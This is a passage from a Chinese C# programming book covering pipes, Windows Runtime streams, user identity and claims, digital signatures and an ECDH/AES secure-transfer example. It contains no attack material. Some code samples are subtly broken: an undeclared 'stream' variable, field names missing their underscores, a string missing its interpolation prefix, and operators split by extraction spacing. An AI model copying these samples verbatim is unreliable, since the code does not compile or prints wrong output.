设置为PipeDirection.In。命名管道也可以是双向的,用于读写,此时使用 PipeDirection.InOut。匿名管道只能是单向的。接下来,调用WaitForConnection()方 法,命名管道等待写入方的连接。然后,在一个循环中(直到收到消息“bye”),管道服 务器把消息读入缓冲区数组,把消息写到控制台(代码文件PipesReader /Program.cs): private static void PipesReader(string pipeName) { try { using (var pipeReader = new NamedPipeServerStream(pipeName, PipeDirection.In)) { pipeReader.WaitForConnection(); WriteLine("reader connected"); const int BUFFERSIZE = 256; bool completed = false; while (! completed) { byte[] buffer = new byte[BUFFERSIZE]; int nRead = pipeReader.Read(buffer, 0, BUFFERSIZE); string line = Encoding.UTF8.GetString(buffer, 0, nRead); WriteLine(line); if (line == "bye") completed = true; } } WriteLine("completed reading"); ReadLine(); } catch (Exception ex) { WriteLine(ex.Message); } } 以下是可以用命名管道配置的其他一些选项: ● 可以把枚举PipeTransmissionMode设置为Byte或Message。设置为Byte,就发送一个 连续的流,设置为Message,就可以检索每条消息。 ● 使用管道选项,可以指定WriteThrough立即写入管道,而不缓存。 ● 可以为输入和输出配置缓冲区大小。 ● 配置管道安全性,指定谁允许读写管道。安全性参见第24章。 ● 可以配置管道句柄的可继承性,这对与子进程进行通信是很重要的。 因为NamedPipeServerStream是一个流,所以可以使用StreamReader,而不是读取字节 数组,该方法简化了代码: var pipeReader = new NamedPipeServerStream(pipeName, PipeDirection.In); using (var reader = new StreamReader(pipeReader)) { pipeReader.WaitForConnection(); WriteLine("reader connected"); bool completed = false; while (! completed) { string line = reader.ReadLine(); WriteLine(line); if (line == "bye") completed = true; } } 23.9.2 创建命名管道客户端 现在需要一个客户端。服务器读取消息,客户端就写入它们。 通过实例化一个NamedPipeClientStream对象来创建客户端。因为命名管道可以在网络 上通信,所以需要服务器名称、管道的名称和管道的方向。客户端通过调用Connect() 方法来连接。连接成功后,就在StreamWriter上调用WriteLine,把消息发送给服务器。默 认情况下,消息不立即发送;而是缓存起来。调用Flush()方法把消息推到服务器上。 也可以立即传送所有的消息,而不调用Flush()方法。为此,必须配置选项,在创建管 道时遍历缓存文件(代码文件PipesWriter / Program.cs): public static void PipesWriter(string pipeName) { var pipeWriter = new NamedPipeClientStream("TheRocks", pipeName, PipeDirection.Out); using (var writer = new StreamWriter(pipeWriter)) { pipeWriter.Connect(); WriteLine("writer connected"); bool completed = false; while (! completed) { string input = ReadLine(); if (input == "bye") completed = true; writer.WriteLine(input); writer.Flush(); } } WriteLine("completed writing"); } 为了在Visual Studio内开始两个项目,可以用Debug | Set Startup Projects配置多个启动 项目。运行应用程序,一个控制台的输入就在另一个控制台上回应。 23.9.3 创建匿名管道 下面对匿名管道执行类似的操作。通过匿名管道,创建两个彼此通信的任务。为了给 管道的创建发出信号,使用ManualResetEventSlim对象,与内存映射文件一样。在Program 类的Run方法中,创建两个任务,调用Reader和Writer方法(代码文件AnonymousPipes /Program.cs): private string _pipeHandle; private ManualResetEventSlim _pipeHandleSet; static void Main() { var p = new Program(); p.Run(); ReadLine(); } public void Run() { _pipeHandleSet = new ManualResetEventSlim(initialState: false); Task.Run(() => Reader()); Task.Run(() => Writer()); ReadLine(); } 创建一个AnonymousPipeServerStream,定义PipeDirection.In,把服务器端充当读取 器。通信的另一端需要知道管道的客户端句柄。这个句柄在GetClientHandleAsString方法 中转换为一个字符串,赋予_pipeHandle变量。这个变量以后由充当写入器的客户端使 用。在最初的处理后,管道服务器可以作为一个流,因为它本来就是一个流: private void Reader() { try { var pipeReader = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.None); using (var reader = new StreamReader(pipeReader)) { _pipeHandle = pipeReader.GetClientHandleAsString(); WriteLine($"pipe handle: {_pipeHandle}"); _pipeHandleSet.Set(); bool end = false; while (! end) { string line = reader.ReadLine(); WriteLine(line); if (line == "end") end = true; } WriteLine("finished reading"); } } catch (Exception ex) { WriteLine(ex.Message); } } 客户端代码等到变量_pipeHandleSet发出信号,就打开由_pipeHandle变量引用的管道 句柄。后来的处理用StreamWriter继续: private void Writer() { WriteLine("anonymous pipe writer"); _pipeHandleSet.Wait(); var pipeWriter = new AnonymousPipeClientStream( PipeDirection.Out, _pipeHandle); using (var writer = new StreamWriter(pipeWriter)) { writer.AutoFlush = true; WriteLine("starting writer"); for (int i = 0; i < 5; i++) { writer.WriteLine($"Message {i}"); Task.Delay(500).Wait(); } writer.WriteLine("end"); } } 运行应用程序时,两个任务就相互通信,在任务之间发送数据。 23.10 通过Windows运行库使用文件和流 通过Windows运行库,可以使用本地类型实现流。尽管它们用本地代码实现,但看起 来类似于.NET类型。然而,它们是有区别的:对于流,Windows运行库在名称空间 Windows.Storage.Streams中实现自己的类型。其中包含FileInputStream、FileOutputStream 和RandomAccessStreams等类。所有这些类都基于接口,例如IInputStream、IOutputStream 和IRandomAccessStream。还有读取器和写入器的概念。Windows运行库的读取器和写入 器类型是DataReader和DataWriter。 下面看看它与前面的.NET流有什么不同,.NET流和类型如何映射到这些本地类型 上。 23.10.1 Windows应用程序编辑器 本章前面创建了一个WPF编辑器,来读写文件。现在创建一个新的编辑器作为 Windows应用程序,首先使用Windows Universal Blank App Visual Studio模板。 为了添加打开和保存文件的命令,在主页上添加一个带AppBarButton元素的 CommandBar (代码文件WindowsAppEditor / MainPage. xaml): <Page.BottomAppBar> <CommandBar IsOpen="True"> <AppBarButton Icon="OpenFile" Label="Open" Click="{x:Bind OnOpen}" /> <AppBarButton Icon="Save" Label="Save" Click="{x:Bind OnSave}" /> </CommandBar> </Page.BottomAppBar> 添加到Grid中的TextBox接收文件的内容: <Grid Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"> <TextBox x:Name="text1" AcceptsReturn="True" / > </Grid> OnOpen句柄首先启动对话框,用户可以在其中选择文件。记住,前面使用了 OpenFileDialog。在Windows应用程序中,可以使用选择器。要打开文件,FileOpenPicker 是首选的类型。可以配置此选择器,为用户定义建议的开始位置。将 SuggestedStartLocation设置为PickerLocationId. DocumentsLibrary,打开用户的文档文件 夹。PickerLocationId是定义各种特殊文件夹的枚举。 接下来,FileTypeFilter集合指定应该为用户列出的文件类型。最后,方法 PickSingleFileAsync返回用户选择的文件。为了让用户选择多个文件,可以使用方法 PickMultipleFilesAsync。这个方法返回一个StorageFile。StorageFile是在Windows.Storage 名称空间中定义的。这个类相当于FileInfo类,用于打开、创建、复制、移动和删除文件 (代码文件WindowsAppEditor / MainPage.xaml.cs): public async void OnOpen() { try { var picker = new FileOpenPicker() { SuggestedStartLocation = PickerLocationId.DocumentsLibrary }; picker.FileTypeFilter.Add(".txt"); StorageFile file = await picker.PickSingleFileAsync(); //... 现在,使用方法OpenReadAsync()打开文件。这个方法返回一个实现了接口 IRandomAccessStream-WithContentType的流,IRandomAccessStreamWithContentType派生 于接口IRandomAccessStream、IInputStream、IOuputStream、IContentProvider和 IDisposable。IRandomAccessStream允许使用Seek方法随机访问流,提供了流大小的信 息。IInputStream定义了读取流的方法ReadAsync。IOutputStream正好相反,它定义了 WriteAsync和FlushAsync方法。IContentTypeProvider定义了属性ContentType,提供文件内 容的信息。还记得文本文件的编码吗?现在可以调用ReadAsync()方法,读取流的内 容。然而,Windows运行库也知道前面讨论的读取器和写入器概念。DataReader通过构造 函数接受IInputStream。DataReader类型定义的方法可以读取原始数据类型,如 ReadInt16、ReadInt32和ReadDateTime。使用ReadBytes可以读取字节数组,使用 ReadString可以读取字符串。ReadString()方法需要要读取的字符数。字符串赋给 TextBox控件的Text属性,来显示内容: //... if (file ! = null) { IRandomAccessStreamWithContentType stream = await file.OpenReadAsync(); using (var reader = new DataReader(stream)) { await reader.LoadAsync((uint)stream.Size); text1.Text = reader.ReadString((uint)stream.Size); } } } catch (Exception ex) { var dlg = new MessageDialog(ex.Message, "Error"); await dlg.ShowAsync(); } }  注意: 与.NET Framework的读取器和写入器类似,DataReader和DataWriter 管理通过构造函数传递的流。在销毁读取器和写入器时,流也会销毁。在.NET类中, 为了底层流打开更长时间,可以在构造函数中设置leaveOpen参数。对于Windows运行 库类型,可以调用方法DetachStream,把读取器和写入器与流分离开。 保存文档时,调用OnSave()方法。首先,FileSavePicker用于允许用户选择文档, 与FileOpenPicker类似。接下来,使用OpenTransactedWriteAsync打开文件。NTFS文件系 统支持事务;这些都不包含在.NET Framework中,但可用于Windows运行库。 OpenTransactedWriteAsync返回一个实现了接口IStorageStreamTransaction的 StorageStreamTransaction对象。这个对象本身并不是流,但是它包含了一个可以用Stream 属性引用的流。这个属性返回一个IRandomAccessStream流。与创建DataReader类似,可 以创建一个DataWriter,写入原始数据类型,包括字符串,如这个例子所示。StoreAsync 方法最后把缓冲区的内容写到流中。销毁写入器之前,需要调用CommitAsync方法来提交 事务: public async void OnSave() { try { var picker = new FileSavePicker() { SuggestedStartLocation = PickerLocationId.DocumentsLibrary, SuggestedFileName = "New Document" }; picker.FileTypeChoices.Add("Plain Text", new List<string>() { ".txt" }); StorageFile file = await picker.PickSaveFileAsync(); if (file ! = null) { using (StorageStreamTransaction tx = await file.OpenTransactedWriteAsync()) { IRandomAccessStream stream = tx.Stream; stream.Seek(0); using (var writer = new DataWriter(stream)) { writer.WriteString(text1.Text); tx.Stream.Size = await writer.StoreAsync(); await tx.CommitAsync(); } } } } catch (Exception ex) { var dlg = new MessageDialog(ex.Message, "Error"); await dlg.ShowAsync(); } } DataWriter不把定义Unicode文件种类的序言添加到流中。需要明确这么做,如本章前 面所述。DataWriter只通过设置UnicodeEncoding和ByteOrder属性来处理文件的编码。默认 设置是UnicodeEncoding.Utf8和ByteOrder.BigEndian。除了使用DataWriter之外,还可以利 用StreamReader和StreamWriter以及.NET Stream类的功能,见下一节。 23.10.2 把Windows Runtime类型映射为.NET 类型 下面开始读取文件。为了把Windows运行库流转换为.NET流用于读取,可以使用扩 展方法AsStreamForRead。这个方法是在程序集System.Runtime.WindowsRuntime的 System.IO名称空间中定义(必须打开)。这个方法创建了一个新的Stream对象,来管理 IInputStream。现在,可以使用它作为正常的.NET流,如前所述,例如,给它传递一个 StreamReader,使用这个读取器访问文件: public async void OnOpenDotnet() { try { var picker = new FileOpenPicker() { SuggestedStartLocation = PickerLocationId.DocumentsLibrary }; picker.FileTypeFilter.Add(".txt"); StorageFile file = await picker.PickSingleFileAsync(); if (file ! = null) { IRandomAccessStreamWithContentType wrtStream = await file.OpenReadAsync(); Stream stream = wrtStream.AsStreamForRead(); using (var reader = new StreamReader(stream)) { text1.Text = await reader.ReadToEndAsync(); } } } catch (Exception ex) { var dlg = new MessageDialog(ex.Message, "Error"); await dlg.ShowAsync(); } } 所有的Windows Runtime流类型都很容易转换为.NET流,反之亦然。表23-2列出了所 需的方法: 表23-2 从 转换为 方法 IRandomAccessStream Stream AsStream IInputStream Stream AsStreamForRead IOutputStream Stream AsStreamForWrite Stream IInputStream AsInputStream Stream IOutputStream AsOutputStream Stream IRandomAccessStream AsRandomAccessStream 现在将更改保存到文件中。用于写入的流通过扩展方法AsStreamForWrite转换。现 在,这个流可以使用StreamWriter类写入。代码片段也把UFT- 8编码的序言写入文件: public async void OnSaveDotnet() { try { var picker = new FileSavePicker() { SuggestedStartLocation = PickerLocationId.DocumentsLibrary, SuggestedFileName = "New Document" }; picker.FileTypeChoices.Add("Plain Text", new List<string>() { ".txt" }); StorageFile file = await picker.PickSaveFileAsync(); if (file ! = null) { StorageStreamTransaction tx = await file.OpenTransactedWriteAsync(); using (var writer = new StreamWriter(tx.Stream.AsStreamForWrite())) { byte[] preamble = Encoding.UTF8.GetPreamble(); await stream.WriteAsync(preamble, 0, preamble.Length); await writer.WriteAsync(text1.Text); await writer.FlushAsync(); tx.Stream.Size = (ulong)stream.Length; await tx.CommitAsync(); } } } catch (Exception ex) { var dlg = new MessageDialog(ex.Message, "Error"); await dlg.ShowAsync(); } } 23.11 小结 本章介绍了如何在C#代码中使用.NET基类来访问文件系统。在这两种情况下,基类 提供的对象模型比较简单,但功能强大,从而很容易执行这些领域中几乎所有的操作。对 于文件系统,可以复制文件;移动、创建、删除文件和文件夹;读写二进制文件和文本文 件。 本章学习了如何使用压缩算法和ZIP文件来压缩文件。在更改文件时, FileSystemWatcher用于获取信息。还解释了如何通过共享内存、命名管道和匿名管道进行 通信。最后,讨论了如何把.NET流映射到Windows运行库流,在Windows应用程序中利 用.NET特性。 本书的其他章节会介绍流的操作。第25章在网络上使用流发送数据。读写XML文件 和发送大型XML文件的内容参见第27章。 第24章将介绍安全性以及如何保护文件,如何添加安全信息,在不同的进程之间使用 内存映射文件。还会学习CryptoStream,无论用于文件还是网络,CryptoStream都会加密 流。 第24章 安全性 本章要点 ● 身份验证和授权 ● 创建和验证签名 ● 保护数据的交换 ● 签名和散列 ● 数据保护 ● 资源的访问控制 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● WindowsPrincipal ● SigningDemo ● SecureTransfer ● RSASample ● DataProtection ● FileAccessControl 24.1 概述 为了确保应用程序的安全,安全性有几个重要方面需要考虑。一是应用程序的用户, 访问应用程序的是一个真正的用户,还是伪装成用户的某个人?如何确定这个用户是可以 信任的?如本章所述,确保应用程序安全的用户方面是一个两阶段过程:用户首先需要进 行身份验证,再进行授权,以验证该用户是否可以使用需要的资源。 对于在网络上存储或发送的数据呢?例如,有人可以通过网络嗅探器访问这些数据 吗?这里,数据的加密很重要。一些技术,如Windows Communication Foundation(WCF),通过简单的配置提供了加密功能,所以可以看到后台执行了什么操 作。 另一方面是应用程序本身。如果应用程序驻留在Web提供程序上,如何禁止应用程序 执行对服务器有害的操作? 本章将讨论.NET中有助于管理安全性的一些特性,其中包括.NET怎样避开恶意代 码、怎样管理安全性策略,以及怎样通过编程访问安全子系统等。 24.2 验证用户信息 安全性的两个基本支柱是身份验证和授权。身份验证是标识用户的过程,授权在验证 了所标识用户是否可以访问特定资源之后进行。本节介绍如何使用标识符和principals获得 用户的信息。 24.2.1 使用Windows标识 使用标识可以验证运行应用程序的用户。WindowsIndentity类表示一个Windows用 户。如果没有用Windows账户标识用户,也可以使用实现了IIdentity接口的其他类。通过 这个接口可以访问用户名、该用户是否通过身份验证,以及验证类型等信息。 principal是一个包含用户的标识和用户的所属角色的对象。IPrincipal接口定义了 Identity属性和IsInRole()方法,Identity属性返回IIdentity对象;在IsInRole()方法中, 可以验证用户是否是指定角色的一个成员。角色是有相同安全权限的用户集合,同时它是 用户的管理单元。角色可以是Windows组或自己定义的一个字符串集合。 .NET中的Principal类有WindowsPrincipal、GenericPrincipal和RolePrincipal。从.NET 4.5开始,这些Principal类型派生于基类ClaimsPrincipal。还可以创建实现了IPrincipal接口 或派生于ClaimsPrincipal的自定义Principal类。 示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.Security.Principal.Windows 名称空间: System.Collections.Generic System.Security.Claims System.Security.Principal static System.Console 下面创建一个控制台应用程序,它可以访问某个应用程序中的主体,以便允许用户访 问底层的Windows账户。这里需要导入System.Security.Principal和System.Security.Claims名 称空间。Main方法调用方法ShowIdentityInformation把WindowsIdentity的信息写到控制 台,调用ShowPrincipal写入可用于principals的额外信息,调用ShowClaims写入声称信息 (代码文件WindowsPrincipal/Program.cs): static void Main() { WindowsIdentity identity = ShowIdentityInformation(); WindowsPrincipal principal = ShowPrincipal(identity); ShowClaims(principal.Claims); } ShowIdentityInformation方法通过调用WindowsIdentity的静态方法GetCurrent,创建一 个WindowsIdentity对象,并访问其属性,来显示身份类型、名称、身份验证类型和其他值 (代码文件WindowsPrincipal / Program.cs): public static WindowsIdentity ShowIdentityInformation() { WindowsIdentity identity = WindowsIdentity.GetCurrent(); if (identity == null) { WriteLine("not a Windows Identity"); return null; } WriteLine($"IdentityType: {identity}"); WriteLine($"Name: {identity.Name}"); WriteLine($"Authenticated: {identity.IsAuthenticated}"); WriteLine($"Authentication Type: {identity.AuthenticationType}"); WriteLine($"Anonymous? {identity.IsAnonymous}"); WriteLine($"Access Token: {identity.AccessToken.DangerousGetHandle()}"); WriteLine(); return identity; } 所有的标识类,例如WindowsIdentity,都实现了IIdentity接口,该接口包含3个属性 (AuthenticationType、IsAuthenticated和Name),便于所有的派生标识类实现它们。 WindowsIdentity的其他属性都专用于这种标识。 运行应用程序,信息如以下代码片段所示。身份验证类型显示CloudAP,因为我使用 Microsoft Live账户登录到系统。如果使用Active Directory, Active Directory就显示在验证 类型中: IdentityType: System.Security.Principal.WindowsIdentity Name: THEROCKS\Christian Authenticated: True Authentication Type: CloudAP Anonymous? False Access Token: 1072 24.2.2 Windows Principal principal包含一个标识,提供额外的信息,比如用户所属的角色。principal实现了 IPrincipal接口,提供了方法IsInRole和Identity属性。在Windows中,用户所属的所有 Windows组映射到角色。重载IsInRole方法,以接受安全标识符、角色字符串或 WindowsBuiltInRole枚举的值。示例代码验证用户是否属于内置的角色User和 Administrator (代码文件WindowsPrincipal / Program.cs): public static WindowsPrincipal ShowPrincipal(WindowsIdentity identity) { WriteLine("Show principal information"); WindowsPrincipal principal = new WindowsPrincipal(identity); if (principal == null) { WriteLine("not a Windows Principal"); return null; } WriteLine($"Users? {principal.IsInRole(WindowsBuiltInRole.User)}"); WriteLine( $"Administrators? {principal.IsInRole(WindowsBuiltInRole.Administrator)}" ); WriteLine(); return principal; } 运行应用程序,我的账户属于Users角色,而不是Administrator角色,得到以下结果: Show principal information Users? True Administrator? False 很明显,如果能很容易地访问当前用户及其角色的详细信息,然后使用那些信息决定 允许或拒绝用户执行某些动作,这就非常有好处。利用角色和Windows用户组,管理员可 以完成使用标准用户管理工具所能完成的工作,这样,在用户的角色改变时,通常可以避 免更改代码。 自.NET 4.5以来,所有principal类都派生自基类ClaimsPrincipal。这样,可以使用 principal对象的Claims属性来访问用户的声称。下一节讨论声称。 24.2.3 使用声称 声称(claim)提供了比角色更大的灵活性。声称是一个关于标识(来自权威机构) 的语句。权威机构如Active Directory或Microsoft Live账户身份验证服务,建立关于用户的 声称,例如,用户名的声称、用户所属的组的声称或关于年龄的声称。用户已经21岁了, 有资格访问特定的资源吗? 方法ShowClaims访问一组声称,把主题、发行人、声称类型和更多选项写到控制台 (代码文件WindowsPrincipal / Program.cs): public static void ShowClaims(IEnumerable<Claim> claims) { WriteLine("Claims"); foreach (var claim in claims) { WriteLine($"Subject: {claim.Subject}"); WriteLine($"Issuer: {claim.Issuer}"); WriteLine($"Type: {claim.Type}"); WriteLine($"Value type: {claim.ValueType}"); WriteLine($"Value: {claim.Value}"); foreach (var prop in claim.Properties) { WriteLine($"\tProperty: {prop.Key} {prop.Value}"); } WriteLine(); } } 下面是从Microsoft Live账户中提取的一个声称,它提供了名称、主ID和组标识符等 信息。 Claims Subject: System.Security.Principal.WindowsIdentity Issuer: AD AUTHORITY Type: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name Value type: http://www.w3.org/2001/XMLSchema#string Value: THEROCKS\Christian Subject: System.Security.Principal.WindowsIdentity Issuer: AD AUTHORITY Type: http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid Value type: http://www.w3.org/2001/XMLSchema#string Value: S-1-5-21-1413171511-313453878-1364686672-1001 Property: http://schemas.microsoft.com/ws/2008/06/identity/claims/ windowssubauthority NTAuthority Subject: System.Security.Principal.WindowsIdentity Issuer: AD AUTHORITY Type: http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid Value type: http://www.w3.org/2001/XMLSchema#string Value: S-1-1-0 Property: http://schemas.microsoft.com/ws/2008/06/identity/claims/ windowssubauthority WorldAuthority Subject: System.Security.Principal.WindowsIdentity Issuer: AD AUTHORITY Type: http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid Value type: http://www.w3.org/2001/XMLSchema#string Value: S-1-5-114 Property: http://schemas.microsoft.com/ws/2008/06/identity/claims/ windowssubauthority NTAuthority ... 可以从声称的提供程序中把声称添加到Windows标识。还可以从简单的客户端程序中 添加声称,如年龄声称: identity.AddClaim(new Claim("Age", "25")); 使用程序中的声称,相信这个声称。这个声称是真的——是25岁吗?声称也可以都是 谎言。从客户机应用程序中添加这个声称,可以看到,声称的发行人是LOCAL AUTHORITY。AD AUTHORITY (Active Directory)的信息更值得信赖,但这里需要信 任Active Directory系统管理员。 WindowsIdentity派生自基类ClaimsIdentity,提供了几个方法来检查声称,或检索特定 的声称。为了测试声称是否可用,就可以使用HasClaim方法: bool hasName = identity.HasClaim(c => c.Type == ClaimTypes.Name); 要检索特定的声称,FindAll方法需要一个谓词来定义匹配: var groupClaims = identity.FindAll(c => c.Type == ClaimTypes.GroupSid);  注意: 声称类型可以是一个简单的字符串,例如前面使用的"Age"类型。 ClaimType定义了一组已知的类型,例如Country、Email、Name、MobilePhone、 UserData、Surname、PostalCode等。  注意: ASP.NET Web应用程序用户的身份验证参见第41章。 24.3 加密数据 机密数据应得到保护,从而使未授权的用户不能读取它们。这对于在网络中发送的数 据或存储的数据都有效。可以用对称或不对称密钥来加密这些数据。 通过对称密钥,可以使用同一个密钥进行加密和解密。与不对称的加密相比,加密和 解密使用不同的密钥:公钥/私钥。如果使用一个公钥进行加密,就应使用对应的私钥进 行解密,而不是使用公钥解密。同样,如果使用一个私钥加密,就应使用对应的公钥解 密,而不是使用私钥解密。不可能从私钥中计算出公钥,也不可能从公钥中计算出私钥。 公钥/私钥总是成对创建。公钥可以由任何人使用,它甚至可以放在Web站点上,但 私钥必须安全地加锁。为了说明加密过程,下面看看使用公钥和私钥的例子。 如果Alice给Bob发了一封电子邮件,如图24-1所示,并且Alice希望能保证除了Bob 外,其他人都不能阅读该邮件,所以她就使用Bob的公钥。邮件是使用Bob的公钥加密 的。Bob打开该邮件,并使用他秘密存储的私钥解密。这种方式可以保证除了Bob外,其 他人都不能阅读Alice的邮件。 图24-1 但这还有一个问题:Bob不能确保邮件是Alice发送来的。Eve可以使用Bob的公钥加 密发送给Bob的邮件并假装是Alice。我们使用公钥/私钥把这条规则扩展一下。下面再次 从Alice给Bob发送电子邮件开始。在Alice使用Bob的公钥加密邮件之前,她添加了自己的 签名,再使用自己的私钥加密该签名。然后使用Bob的公钥加密邮件。这样就保证了除 Bob外,其他人都不能阅读该邮件。在Bob解密邮件时,他检测到一个加密的签名。这个 签名可以使用Alice的公钥来解密。而Bob可以访问Alice的公钥,因为这个密钥是公钥。在 解密了签名后,Bob就可以确定是Alice发送了电子邮件。 使用对称密钥的加密和解密算法比使用非对称密钥的算法快得多。对称密钥的问题是 密钥必须以安全的方式互换。在网络通信中,一种方式是先使用非对称的密钥进行密钥互 换,再使用对称密钥加密通过网络发送的数据。 在.NET Framework中,可以使用System.Security.Cryptography名称空间中的类来加 密。它实现了几个对称算法和非对称算法。有几个不同的算法类用于不同的目的。一些类 以Cng作为前缀或后缀。CNG是Cryptography Next Generation的简称,是本机Crypto API的 更新版本,这个API可以使用基于提供程序的模型,编写独立于算法的程序。 表24-1列出了System.Security.Cryptography名称空间中的加密类及其功能。没有Cng、 Managed或CryptoServiceProvider后缀的类是抽象基类,如MD5。Managed后缀表示这个算 法用托管代码实现,其他类可能封装了本地Windows API调用。CryptoServiceProvider后缀 用于实现了抽象基类的类,Cng后缀用于利用新Cryptography CNG API的类。 表24-1 下面用例子说明如何通过编程使用这些算法。 24.3.1 创建和验证签名 第一个例子说明了如何使用ECDSA算法进行签名。Alice创建了一个签名,它用Alice 的私钥加密,可以使用Alice的公钥访问。因此保证该签名来自于Alice。 SigningDemo示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.Security.Cryptograhy.Algorithms System.Security.Cryptography.Cng 名称空间: System System.Security.Cryptography System.Text static System.Console 首先,看看Main()方法中的主要步骤:创建Alice的密钥,给字符串“Alice”签名, 最后使用公钥验证该签名是否真的来自于Alice。要签名的消息使用Encoding类转换为一个 字节数组。要把加密的签名写入控制台,包含该签名的字节数组应使用 Convert.ToBase64String()方法转换为一个字符串(代码文件 SigningDemo/Program.cs)。 private CngKey _aliceKeySignature; private byte[] _alicePubKeyBlob; static void Main() { var p = new Program(); p.Run(); } public void Run() { InitAliceKeys(); byte[] aliceData = Encoding.UTF8.GetBytes("Alice"); byte[] aliceSignature = CreateSignature(aliceData, aliceKeySignature); WriteLine($"Alice created signature: {Convert.ToBase64String(aliceSignature )}"); if (VerifySignature(aliceData, aliceSignature, alicePubKeyBlob)) { WriteLine("Alice signature verified successfully"); } }  注意: 千万不要使用Encoding类把加密的数据转换为字符串。Encoding类验 证和转换Unicode不允许使用的无效值,因此把字符串转换回字节数组会得到另一个结 果。 InitAliceKeys()方法为Alice创建新的密钥对。因为这个密钥对存储在一个静态字段 中,所以可以从其他方法中访问它。CngKey类的Create()方法把该算法作为一个参数, 为算法定义密钥对。通过Export()方法,导出密钥对中的公钥。这个公钥可以提供给 Bob,来验证签名。Alice保留其私钥。除了使用CngKey类创建密钥对之外,还可以打开 存储在密钥存储器中的已有密钥。通常Alice在其私有存储器中有一个证书,其中包含了 一个密钥对,该存储器可以用CngKey.Open()方法访问。 private void InitAliceKeys() { _aliceKeySignature = CngKey.Create(CngAlgorithm.ECDsaP521); _alicePubKeyBlob = aliceKeySignature.Export(CngKeyBlobFormat.GenericPublicB lob); } 有了密钥对,Alice就可以使用ECDsaCng类创建签名了。这个类的构造函数从Alice那 里接收包含公钥和私钥的CngKey类。再使用私钥,通过SignData()方法给数据签名。 SignData()方法在.NET Core中略有不同。.NET Core需要如下算法: public byte[] CreateSignature(byte[] data, CngKey key) { byte[] signature; using (var signingAlg = new ECDsaCng(key)) { #if NET46 signature = signingAlg.SignData(data); signingAlg.Clear(); #else signature = signingAlg.SignData(data, HashAlgorithmName.SHA512); #endif } return signature; } 要验证签名是否真的来自于Alice, Bob使用Alice的公钥检查签名。包含公钥blob的字 节数组可以用静态方法Import()导入CngKey对象。然后使用ECDsaCng类,调用 VerifyData()方法来验证签名。 public bool VerifySignature(byte[] data, byte[] signature, byte[] pubKey) { bool retValue = false; using (CngKey key = CngKey.Import(pubKey, CngKeyBlobFormat.GenericPublicBlo b)) using (var signingAlg = new ECDsaCng(key)) { #if NET46 retValue = signingAlg.VerifyData(data, signature); signingAlg.Clear(); #else retValue = signingAlg.VerifyData(data, signature, HashAlgorithmName.SHA51 2); #endif } return retValue; } 24.3.2 实现安全的数据交换 下面是一个比较复杂的例子,它使用EC Diffie-Hellman算法交换一个对称密钥,以进 行安全的传输。  注意: 编写本书时,.NET Core仅包含ECDiffieHellman抽象基类,实现代码 可以使用它创建具体的类。目前还没有具体的类,所以这个示例仅使用.NET 4.6。 SecureTransfer示例应用程序使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.Security.Cryptograhy.Algorithms System.Security.Cryptography.Cng System.Security.Cryptography.Primitives 名称空间: System System.IO System.Security.Cryptography System.Text System.Threading.Tasks static System.Console Main()方法包含了其主要功能。Alice创建了一条加密的消息,并把它发送给Bob。 在此之前,要先为Alice和Bob创建密钥对。Bob只能访问Alice的公钥,Alice也只能访问 Bob的公钥(代码文件SecureTransfer/Program.cs)。 private CngKey _aliceKey; private CngKey _bobKey; private byte[] _alicePubKeyBlob; private byte[] _bobPubKeyBlob; static void Main() { var p = new Program(); p.RunAsync().Wait(); ReadLine(); } public async Task RunAsync() { try { CreateKeys(); byte[] encrytpedData = await AliceSendsDataAsync("This is a secret message for Bob"); await BobReceivesDataAsync(encrytpedData); } catch (Exception ex) { WriteLine(ex.Message); } } 在CreateKeys()方法的实现代码中,使用EC Diffie-Hellman 512算法创建密钥。 public void CreateKeys() { aliceKey = CngKey.Create(CngAlgorithm.ECDiffieHellmanP521); bobKey = CngKey.Create(CngAlgorithm.ECDiffieHellmanP521); alicePubKeyBlob = aliceKey.Export(CngKeyBlobFormat.EccPublicBlob); bobPubKeyBlob = bobKey.Export(CngKeyBlobFormat.EccPublicBlob); } 在AliceSendsDataAsync()方法中,包含文本字符的字符串使用Encoding类转换为一 个字节数组。创建一个ECDiffieHellmanCng对象,用Alice的密钥对初始化它。Alice调用 DeriveKeyMaterial()方法,从而使用其密钥对和Bob的公钥创建一个对称密钥。返回的 对称密钥使用对称算法AES加密数据。AesCryptoServiceProvider需要密钥和一个初始化矢 量(IV)。IV从GenerateIV()方法中动态生成,对称密钥用EC Diffie-Hellman算法交 换,但还必须交换IV。从安全性角度来看,在网络上传输未加密的IV是可行的——只是 密钥交换必须是安全的。IV存储为内存流中的第一项内容,其后是加密的数据,其中, CryptoStream类使用AesCryptoServiceProvider类创建的encryptor。在访问内存流中的加密 数据之前,必须关闭加密流。否则,加密数据就会丢失最后的位。 public async Task<byte[]> AliceSendsDataAsync(string message) { WriteLine($"Alice sends message: {message}"); byte[] rawData = Encoding.UTF8.GetBytes(message); byte[] encryptedData = null; using (var aliceAlgorithm = new ECDiffieHellmanCng(aliceKey)) using (CngKey bobPubKey = CngKey.Import(bobPubKeyBlob, CngKeyBlobFormat.EccPublicBlob)) { byte[] symmKey = aliceAlgorithm.DeriveKeyMaterial(bobPubKey); WriteLine("Alice creates this symmetric key with " + $"Bobs public key information: {Convert.ToBase64String(symmKey)}"); using (var aes = new AesCryptoServiceProvider()) { aes.Key = symmKey; aes.GenerateIV(); using (ICryptoTransform encryptor = aes.CreateEncryptor()) using (var ms = new MemoryStream()) { // create CryptoStream and encrypt data to send using (var cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) { // write initialization vector not encrypted await ms.WriteAsync(aes.IV, 0, aes.IV.Length); cs.Write(rawData, 0, rawData.Length); } encryptedData = ms.ToArray(); } aes.Clear(); } } WriteLine("Alice: message is encrypted: "+ "{Convert.ToBase64String(encryptedData)}"); WriteLine(); return encryptedData; } Bob从BobReceivesDataAsync()方法的参数中接收加密数据。首先,必须读取未加 密的初始化矢量。AesCryptoServiceProvider类的BlockSize属性返回块的位数。位数除以 